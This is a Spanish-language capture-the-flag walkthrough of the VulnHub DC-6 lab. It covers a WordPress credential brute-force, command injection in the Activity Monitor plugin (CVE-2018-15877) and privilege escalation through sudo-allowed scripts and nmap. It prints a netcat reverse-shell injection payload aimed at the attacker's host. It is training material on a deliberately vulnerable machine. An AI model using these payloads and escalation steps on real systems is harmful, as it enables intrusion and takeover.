VulnHub - DC:6 CTF Walkthrough

 

Descripción:
DC-6 es otro laboratorio vulnerable creado especialmente con la intención de ganar experiencia en el mundo de las pruebas de penetración. No es un desafío demasiado difícil, por lo que debería ser ideal para principiantes. El objetivo final de este desafío es obtener acceso root y leer la única bandera.
Pista:
Vale, esto no es realmente una pista como tal, sino más bien un consejo del tipo "no queremos pasar cinco años esperando a que finalice un determinado proceso" para aquellos que simplemente quieren seguir adelante con el trabajo.

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt Esto debería ahorrarte algunos años.

Como primer paso, realizaremos un reconocimiento de la red, para obtener la dirección IP de la máquina objetivo con la herramienta netdiscover.
netdiscover
Nuestra máquina objetivo tiene la dirección IP 192.168.50.219. Ahora realizaré un escaneo de puertos de red a la máquina objetivo. Utilizaremos la herramienta Nmap.
nmap -n -p- -sS -Pn --open  IP
Como se muestra en la imagen anterior hay dos puertos abiertos, el puerto 22 SSH y el puerto 80 HTTP. Ahora falta averiguar las versiones de los servicios que se están ejecutando en estos puertos. Para eso utilizaremos nuevamente la herramienta Nmap.
nmap -n -p 22,80 -sV IP
Por último, con la herramienta Nmap ejecutaremos los scripts por defecto para encontrar alguna información útil de la máquina objetivo.
nmap -n -p 22,80 -sC IP
Como se muestra en la imagen anterior nmap detecto un redireccionamiento a http://wordy/ lo que indica que probablemente en servicio Apache en el puerto 80 está configurado un VirtualHost. Por lo tanto, en nuestra máquina atacante debemos agregar a nuestro archivo hosts este host virtual.
hosts
El archivo hosts está ubicado en el directorio /etc/hosts. En la imagen anterior se muestra como configuré tanto http://wordy/ y wordy. Con esto nuestra máquina podrá enrutar las comunicaciones que hagamos desde la máquina atacante y la máquina objetivo.

Ahora con la herramienta Whatweb realizaré un reconocimiento de las tecnologías utilizadas y ejecutadas en el servicio web.
whatweb
Como se muestra en la imagen anterior se está ejecutando el CMS WordPress 5.1.1. Ahora lo que haré es utilizar la herramienta wpscan.
wpscan
Los resultados más importantes que obtuvimos fue una lista de usuarios.
wpscan-users
Ahora lo que haré es crear un archivo llamado user.txt con los usuarios identificado con la herramienta wpscan.
Ahora debemos crear un diccionario de contraseñas como se indica en la pista que se nos da en el enunciado de este tutorial.  

password-list
password-head
Teniendo los dos archivos tanto de usuario y password con la herramienta wpscan los utilizaremos para descubrir credenciales de usuarios.
Wpscan encontró credenciales válidas para el usuario mark:helpdesk01. Ahora probaremos esas credenciales para autenticarnos en WordPress.
login wordpress
Dashboard - WordPress
Las credenciales nos permitieron validarnos en WordPress y nos muestra el Dashboard de WordPress para el usuario mark.

Como se puede observar en la imagen anterior hay un plugin instalado llamado "Activity Monitor", por lo tanto, buscaré información sobre este plugin en Internet. Cabe mencionar que la versión de WordPress no está actualizada lo que indica que probablemente los plugin también deben estar desactualizado por un tema de compatibilidad.
PlainViwe Activity Monitor
Dentro del menú de "Activity monitor" hay submenú "Premium Pack" haré clic en este submenú haber si encuentro más información de este plugin.
PlainView Activity Monitor Premium
Aquí encontré información relevante que es el nombre de plugin "PlainView Activity Monotor". En este punto haré clic en "Read more about the premium pack" para encontrar más información del plugin y realizare una búsqueda en Internet de "PlainView Activity Monitor".
pvactivitymonitor.com
Al hacer clic en "Read more about the premium pack" se nos redirige a la página oficial del plugin que no se encuentra activa.

Ahora realizando una búsqueda en Internet encontré información importante sobre el plugin en la página del csirt telconet latam.
cve:2018-15877

Ahora con la herramienta searchsploit buscaré un exploit para poder comprometer la máquina.
searsploit
Ahora analizaré el exploit "php/webapps/45274.html".
Como se observa en la imagen el exploit despliega un formulario web donde los datos que se van a procesar son dirigidos a "http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools". en nuestro caso debemos modificar "http://localhost:8080/" por "http://wordy/", por lo tanto, la url quedaría de la siguiente manera: http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools. Al cargar la url en el navegador web se nos muestra la siguiente página.
tools-activity-monitor
Al parecer el campo del formulario "IP or Integer *" es el campo vulnerable a inyección de comando y la función "Lookup". Como se muestra en el código fuente del exploit.
exploit-lookup
Entonces, lo que haré es en mi máquina atacante dejaré a la escucha el puerto 1234 con la herramienta netcat. Esto es necesario para obtener acceso a la máquina objetivo desde mi máquina atacante, cuando se ejecute la siguiente inyección de código.
google.fr| nc 192.168.50.160 1234 -e /bin/bash

Entonces, en mi máquina atacante configuraré la herramienta netcat de la siguiente manera.
Y en la máquina víctima ejecutaré la siguiente inyección de código en el campo de formulario "IP or Integer *".
google.fr| nc 192.168.50.160 1234 -e /bin/bash
inyeccion-truncada
Como se muestra en la imagen el campo del formulario web está configurado para recibir un número determinado de caracteres. esto lo podemos modificar con las herramientas de desarrollo de nuestro navegado.
modificar-formulario-web
Con la modificación realizada al campo de formulario podemos insertar la inyección de código sin problemas.
Ahora solo queda ejecutar la función "Lookup"(Boton).
reverse-shell
Como se muestra en la imagen anterior al ejecutar la inyección de código en el formulario web, en nuestra máquina atacante recibimos una conexión reversa, es decir, desde la máquina víctima a nuestra máquina atacante.

Ahora lo que haré es ir al directorio home de la máquina, para listar los usuarios del sistema.
home-usuario
Ahora listaré los archivos de todos los usuarios a ver si encontramos algo interesante.
Como se muestra en la imagen el usuario jens tiene un archivo backup.sh, el usuario mark tiene el directorio stuff y dentro del directorio stuff/things-to-do.txt. Entonse los revisaré.

Antes de continuar debemos realizar algunas modificaciones a nuestra terminal. 

  1. En nuestra terminal ejecutamos el siguiente comando ...$tty, este comando debería devolver "no a tty".
  2. luego, ejecutamos el siguiente comando ...$script /dev/null -c bash
  3. luego,  ejecutamos la combinación de teclas Ctrl+Z, para enviar a background el proceso actual.
  4. Ejecutamos el siguiente comando ...$stty raw -echo; fg y posterior a este comando ejecutamos reset xterm
  5. Ejecutamos el comando echo ...$TERM , este comando debería devolve "dumb".
  6. Por último, ejecutamos el siguiente comando ...$export TREM=xterm
Con los pasos anteriores tendremos la siguiente terminal.
Con esta nueva configuración obtenemos una tty(terminal) a partir de una shell reversa con todas sus funcionalidades.

Ahora revisaré el archivo backups.sh del usuario jeans.
Como se muestra en la imagen anterior es un script bash que crea un archivo comprimido del directorio html. en el directorio actual.

Ahora revisaré el directorio stuff/things-to-do.txt del usuario jens.
contraseña-graham
En el archivo things-to-do.txt encontramos una lista de tarea del usuario jens en ella se la creación del usuario graham con una posible contraseña. Probaré estas credenciales contra el servicio SSH que se está ejecutando en el servidor.
graham-ssh
Las credenciales encontradas son válidas para el usuario graham. Ahora ejecutaré el siguiente comando de Linux.
sudo -l
El usuario graham puede ejecutar el archivo backups.sh sin autenticación, por lo tanto, modificaré el archivo backups.sh para escalar privilegios al usuario jens.
escalar privilegio a usuario jens
Como se muestra en la imagen anterior al final del archivo backups.sh agregué la línea /bin/bash. Con esta última línea lo que conseguimos es obtener una bash con los privilegios del usuario jens.

Ahora solo debemos ejecutar el archivo backups.sh.
escalado de privilegio graham -> jens
Como se muestra en la imagen anterior, escalamos privilegio desde el usuario graham a jens. ahora volveré a ejecutar el comando sudo -l.
permisos usuario jens
Como se muestra en la imagen anterior, el usuario jens puede ejecutar la herramienta nmap como root. Podríamos usar el mismo mecanismo para que utilizamos para escalar privilegios desde el usuario graham a jens.

Cabe mencionar, que nmap cuenta con un conjunto de script de reconocimiento de red. con el parámetro --script podemos ejecutar los script de nmap, los script de nmap tienen la extensión .nse. Por lo tanto, ejecutaré el siguiente código para elevar privilegio al usuario root.
escalado de privilegio root
Como se muestra en la imagen escalamos privilegio al usuario root. Ahora solo falta encontrar la flag(bandera) root.
flag-root
Happy Hack!!!

Comentarios